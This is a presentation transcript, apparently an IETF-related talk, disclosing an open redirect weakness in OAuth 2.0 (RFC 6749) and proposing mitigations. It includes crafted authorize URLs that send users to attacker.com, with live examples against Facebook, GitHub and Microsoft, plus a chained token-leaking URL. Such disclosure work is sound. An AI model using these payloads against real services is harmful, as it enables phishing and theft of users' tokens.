J. Bradley Sanso H. Tschofenig

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Presentation transcript:

J. Bradley Sanso H. Tschofenig Open redirect in rfc6749 J. Bradley Sanso H. Tschofenig

The Specification rfc6 749 – section 4.1.2.1 If the request fails due to a missing, invalid, or mismatching redirection URI, or if the client identifier is missing or invalid, the authorization server SHOULD inform the resource owner of the error and MUST NOT automatically redirect the user-agent to the invalid redirection URI. If the resource owner denies the access request or if the request fails for reasons other than a missing or invalid redirection URI, the authorization server informs the client by adding the following parameters to the query component of the redirection URI using the "application/x-www-form-urlencoded" format,

The Problem Open Redirect OWASP TOP 10 …an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.

The Attack The attacker Registers a new client to the victim.com provider Registers a redirect uri like attacker.com Craft a special URI of the form (with a wrong scope) http://victim.com/authorize?response_type=code&cli ent_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRON G_SCOPE&redirect_uri=http://attacker.com

Live Examples Facebook: https://graph.facebook.com/oauth/authorize?response_type=code&c lient_id=1621835668046481&redirect_uri=http://www.attacker.com/ &scope=WRONG_SCOPE Github: https://github.com/login/oauth/authorize?response_type=code&red irect_uri=http://attacker.com2&client_id=e2ddb90328315c367b11 Microsoft: https://login.live.com/oauth20_authorize.srf?response_type=code &redirect_uri=http://attacker.com&client_id=000000004C12822C

Security Compromise: The Authorization Server As Open Redirector https://AUTHORIZATION_SERVER/authorize?response_type=token &client_id=good-client&scope=VALID_SCOPE &redirect_uri=https%3A%2F%2AUTHORIZATION_SERVER%Fauthorize %3Fresponse_type%3Dcode %26client_id%3Dattacker-client-id %26scope%3DINVALID_SCOPE %26redirect_uri%3Dhttps%253A%252F%252Fattacker.com

The Mitigation https://tools. ietf Respond with an HTTP 400 (Bad Request) status code (rather than 302) Perform a redirect to an intermediate URI under the control of the AS to clear referer The fragment "#_=_" MUST be appended to the error redirect URI.